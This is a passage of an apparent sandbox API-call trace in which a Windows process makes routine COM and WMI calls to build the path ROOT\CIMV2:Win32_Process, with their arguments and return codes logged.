[3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1169ec0) returned 0x0 [0073.225] WbemDefPath:IUnknown:Release (This=0x1bece500) returned 0x0 [0073.225] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169ec0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1169ec0) returned 0x0 [0073.225] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169ec0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0073.225] WbemDefPath:IUnknown:AddRef (This=0x1169ec0) returned 0x3 [0073.225] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169ec0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0073.225] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169ec0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0073.225] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169ec0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bece540) returned 0x0 [0073.225] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bece540, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0073.226] WbemDefPath:IUnknown:Release (This=0x1bece540) returned 0x3 [0073.226] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0073.226] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0073.226] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169ec0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0073.226] WbemDefPath:IUnknown:Release (This=0x1169ec0) returned 0x2 [0073.226] WbemDefPath:IUnknown:Release (This=0x1169ec0) returned 0x1 [0073.226] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0073.226] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0073.226] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169ec0, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1169ec0) returned 0x0 [0073.226] WbemDefPath:IUnknown:AddRef (This=0x1169ec0) returned 0x3 [0073.226] WbemDefPath:IUnknown:Release (This=0x1169ec0) returned 0x2 [0073.226] WbemDefPath:IWbemPath:SetText (This=0x1169ec0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0073.226] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169f80, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0073.226] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169ec0, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0073.226] WbemDefPath:IWbemPath:GetText (in: This=0x1169ec0, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0073.226] WbemDefPath:IWbemPath:GetText (in: This=0x1169ec0, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0073.226] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1169f80) returned 0x0 [0073.226] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169ec0, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0073.226] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1169ec0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0073.226] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1169ec0, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="ROOT") returned 0x0 [0073.226] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1169f80, uIndex=0x0, pszName="ROOT") returned 0x0 [0073.226] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1169ec0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0073.226] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1169ec0, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="CIMV2") returned 0x0 [0073.227] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1169f80, uIndex=0x1, pszName="CIMV2") returned 0x0 [0073.227] WbemDefPath:IWbemPath:GetClassName (in: This=0x1169f80, puBuffLength=0x1b2fd928*=0x0, pszName=0x0 | out: puBuffLength=0x1b2fd928*=0x0, pszName=0x0) returned 0x8004103a [0073.227] WbemDefPath:IWbemPath:SetClassName (This=0x1169f80, Name="Win32_Process") returned 0x0 [0073.227] WbemDefPath:IWbemPath:GetInfo (in: This=0x1169f80, uRequestedInfo=0x0, puResponse=0x1b2fda08 | out: puResponse=0x1b2fda08*=0x20c16) returned 0x0 [0073.227] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169f80, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0073.227] WbemDefPath:IWbemPath:GetText (in: This=0x1169f80, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x26, pszText=0x0) returned 0x0 [0073.227] WbemDefPath:IWbemPath:GetText (in: This=0x1169f80, lFlags=4, puBuffLength=0x1b2fd958*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0073.227] WbemDefPath:IWbemPath:GetInfo (in: This=0x1169f80, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0x20c16) returned 0x0 [0073.227] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169f80, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0073.227] WbemDefPath:IWbemPath:GetText (in: This=0x1169f80, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x18, pszText=0x0) returned 0x0 [0073.227] WbemDefPath:IWbemPath:GetText (in: This=0x1169f80, lFlags=8, puBuffLength=0x1b2fd958*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1b2fd958*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0073.227] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a280, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0073.227] WbemDefPath:IWbemPath:GetText (in: This=0x116a280, lFlags=16, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xb, pszText=0x0) returned 0x0 [0073.227] WbemDefPath:IWbemPath:GetText (in: This=0x116a280, lFlags=16, puBuffLength=0x1b2fd958*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd958*=0xb, pszText="root\\cimv2") returned 0x0 [0073.227] WbemDefPath:IWbemPath:GetText (in: This=0x1169f80, lFlags=2, puBuffLength=0x1b2fd968*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd968*=0xe, pszText=0x0) returned 0x0 [0073.227] WbemDefPath:IWbemPath:GetText (in: This=0x1169f80, lFlags=2, puBuffLength=0x1b2fd968*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd968*=0xe, pszText="Win32_Process") returned 0x0 [0073.227] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8b8 | out: ppv=0x1b2fd8b8*=0x111f638) returned 0x0 [0073.227] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8a8 | out: pAptType=0x1b2fd8a8*=1) returned 0x0 [0073.227] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8b0 | out: ppvObject=0x1b2fd8b0*=0x0) returned 0x80004002 [0073.227] IUnknown:Release (This=0x111f638) returned 0x1 [0073.229] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fccd0 | out: ppv=0x1b2fccd0*=0x1bece7a0) returned 0x0 [0073.229] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bece7a0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd18 | out: ppvObject=0x1b2fcd18*=0x0) returned 0x80004002 [0073.229] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bece7a0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fccc8 | out: ppvObject=0x1b2fccc8*=0x1169e00) returned 0x0 [0073.229] WbemDefPath:IUnknown:Release (This=0x1bece7a0) returned 0x0 [0073.229] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169e00, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcad8 | out: ppvObject=0x1b2fcad8*=0x1169e00) returned 0x0 [0073.229] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169e00, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb80 | out: ppvObject=0x1b2fcb80*=0x0) returned 0x80004002 [0073.230] WbemDefPath:IUnknown:AddRef (This=0x1169e00) returned 0x3 [0073.230] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169e00, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc228 | out: ppvObject=0x1b2fc228*=0x0) returned 0x80004002 [0073.230] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169e00, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc1b0 | out: ppvObject=0x1b2fc1b0*=0x0) returned 0x80004002 [0073.230] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169e00, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc1a0 | out: ppvObject=0x1b2fc1a0*=0x1bece7e0) returned 0x0 [0073.230] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bece7e0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc1c8 | out: pCid=0x1b2fc1c8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0073.230] WbemDefPath:IUnknown:Release (This=0x1bece7e0) returned 0x3 [0073.230] CoGetContextToken (in: pToken=0x1b2fc250 | out: pToken=0x1b2fc250) returned 0x0 [0073.230] CoGetContextToken (in: pToken=0x1b2fc6d0 | out: pToken=0x1b2fc6d0) returned 0x0 [0073.230] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169e00, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc790 | out: ppvObject=0x1b2fc790*=0x0) returned 0x80004002 [0073.230] WbemDefPath:IUnknown:Release (This=0x1169e00) returned 0x2 [0073.230] WbemDefPath:IUnknown:Release (This=0x1169e00) returned 0x1 [0073.230] CoGetContextToken (in: pToken=0x1b2fd4f0 | out: pToken=0x1b2fd4f0) returned 0x0 [0073.230] CoGetContextToken (in: pToken=0x1b2fd3f0 | out: pToken=0x1b2fd3f0) returned 0x0 [0073.230] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169e00, riid=0x1b2fd550*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd520 | out: ppvObject=0x1b2fd520*=0x1169e00) returned 0x0 [0073.230] WbemDefPath:IUnknown:AddRef (This=0x1169e00) returned 0x3 [0073.230] WbemDefPath:IUnknown:Release (This=0x1169e00) returned 0x2 [0073.230] WbemDefPath:IWbemPath:SetText (This=0x1169e00, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0073.230] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a280, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0073.230] WbemDefPath:IWbemPath:GetText (in: This=0x116a280, lFlags=8, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0xf, pszText=0x0) returned 0x0 [0073.231] WbemDefPath:IWbemPath:GetText (in: This=0x116a280, lFlags=8, puBuffLength=0x1b2fd958*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0073.231] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7e8 | out: ppv=0x1b2fd7e8*=0x111f638) returned 0x0 [0073.231] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7d8 | out: pAptType=0x1b2fd7d8*=1) returned 0x0 [0073.231] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7e0 | out: ppvObject=0x1b2fd7e0*=0x0) returned 0x80004002 [0073.231] IUnknown:Release (This=0x111f638) returned 0x1 [0073.232] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc00 | out: ppv=0x1b2fcc00*=0x1bece820) returned 0x0 [0073.232] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bece820, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc48 | out: ppvObject=0x1b2fcc48*=0x0) returned 0x80004002 [0073.232] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bece820, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcbf8 | out: ppvObject=0x1b2fcbf8*=0x1169d40) returned 0x0 [0073.233] WbemDefPath:IUnknown:Release (This=0x1bece820) returned 0x0 [0073.233] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169d40, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca08 | out: ppvObject=0x1b2fca08*=0x1169d40) returned 0x0 [0073.233] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169d40, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcab0 | out: ppvObject=0x1b2fcab0*=0x0) returned 0x80004002 [0073.233] WbemDefPath:IUnknown:AddRef (This=0x1169d40) returned 0x3 [0073.233] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169d40, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc158 | out: ppvObject=0x1b2fc158*=0x0) returned 0x80004002 [0073.233] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169d40, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x0) returned 0x80004002 [0073.233] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169d40, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0d0 | out: ppvObject=0x1b2fc0d0*=0x1bece860) returned 0x0 [0073.233] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bece860, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc0f8 | out: pCid=0x1b2fc0f8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0073.233] WbemDefPath:IUnknown:Release (This=0x1bece860) returned 0x3 [0073.233] CoGetContextToken (in: pToken=0x1b2fc180 | out: pToken=0x1b2fc180) returned 0x0 [0073.233] CoGetContextToken (in: pToken=0x1b2fc600 | out: pToken=0x1b2fc600) returned 0x0 [0073.233] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169d40, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6c0 | out: ppvObject=0x1b2fc6c0*=0x0) returned 0x80004002 [0073.233] WbemDefPath:IUnknown:Release (This=0x1169d40) returned 0x2 [0073.233] WbemDefPath:IUnknown:Release (This=0x1169d40) returned 0x1 [0073.233] CoGetContextToken (in: pToken=0x1b2fd420 | out: pToken=0x1b2fd420) returned 0x0 [0073.234] CoGetContextToken (in: pToken=0x1b2fd320 | out: pToken=0x1b2fd320) returned 0x0 [0073.234] WbemDefPath:IUnknown:QueryInterface (in: This=0x1169d40, riid=0x1b2fd480*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd450 | out: ppvObject=0x1b2fd450*=0x1169d40) returned 0x0 [0073.234] WbemDefPath:IUnknown:AddRef (This=0x1169d40) returned 0x3 [0073.234] WbemDefPath:IUnknown:Release (This=0x1169d40) returned 0x2 [0073.234] WbemDefPath:IWbemPath:SetText (This=0x1169d40, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0073.234] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169e00, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x0) returned 0x0 [0073.234] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169d40, puCount=0x1b2fd890 | out: puCount=0x1b2fd890*=0x2) returned 0x0 [0073.234] WbemDefPath:IWbemPath:GetText (in: This=0x1169d40, lFlags=16, puBuffLength=0x1b2fd888*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd888*=0xb, pszText=0x0) returned 0x0 [0073.234] WbemDefPath:IWbemPath:GetText (in: This=0x1169d40, lFlags=16, puBuffLength=0x1b2fd888*=0xb, pszText="0000000000" | out: puBuffLength=0x1b2fd888*=0xb, pszText="root\\cimv2") returned 0x0 [0073.234] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1169e00) returned 0x0 [0073.234] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169d40, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0073.234] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1169d40, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x5, pName=0x0) returned 0x0 [0073.234] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1169d40, uIndex=0x0, puNameBufLength=0x1b2fd8e8*=0x5, pName="0000" | out: puNameBufLength=0x1b2fd8e8*=0x5, pName="root") returned 0x0 [0073.234] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1169e00, uIndex=0x0, pszName="root") returned 0x0 [0073.234] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1169d40, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e8*=0x6, pName=0x0) returned 0x0 [0073.234] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1169d40, uIndex=0x1, puNameBufLength=0x1b2fd8e8*=0x6, pName="00000" | out: puNameBufLength=0x1b2fd8e8*=0x6, pName="cimv2") returned 0x0 [0073.234] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1169e00, uIndex=0x1, pszName="cimv2") returned 0x0 [0073.234] WbemDefPath:IWbemPath:GetServer (in: This=0x1169d40, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0073.234] WbemDefPath:IWbemPath:GetServer (in: This=0x1169d40, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0073.234] WbemDefPath:IWbemPath:GetServer (in: This=0x1169e00, puNameBufLength=0x1b2fd8e0*=0x0, pName=0x0 | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=0x0) returned 0x0 [0073.234] WbemDefPath:IWbemPath:GetServer (in: This=0x1169e00, puNameBufLength=0x1b2fd8e0*=0x2, pName="0" | out: puNameBufLength=0x1b2fd8e0*=0x2, pName=".") returned 0x0 [0073.234] WbemDefPath:IWbemPath:GetInfo (in: This=0x1169e00, uRequestedInfo=0x0, puResponse=0x1b2fd978 | out: puResponse=0x1b2fd978*=0xc15) returned 0x0 [0073.235] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a280, puCount=0x1b2fd8d0 | out: puCount=0x1b2fd8d0*=0x2) returned 0x0 [0073.235] WbemDefPath:IWbemPath:GetText (in: This=0x116a280, lFlags=4, puBuffLength=0x1b2fd8c8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8c8*=0xf, pszText=0x0) returned 0x0 [0073.235] WbemDefPath:IWbemPath:GetText (in: This=0x116a280, lFlags=4, puBuffLength=0x1b2fd8c8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8c8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0073.235] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x116a280, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0073.235] WbemDefPath:IWbemPath:GetText (in: This=0x116a280, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0073.235] WbemDefPath:IWbemPath:GetText (in: This=0x116a280, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0073.235] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169e00, puCount=0x1b2fd960 | out: puCount=0x1b2fd960*=0x2) returned 0x0 [0073.235] WbemDefPath:IWbemPath:GetText (in: This=0x1169e00, lFlags=4, puBuffLength=0x1b2fd958*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd958*=0x1d, pszText=0x0) returned 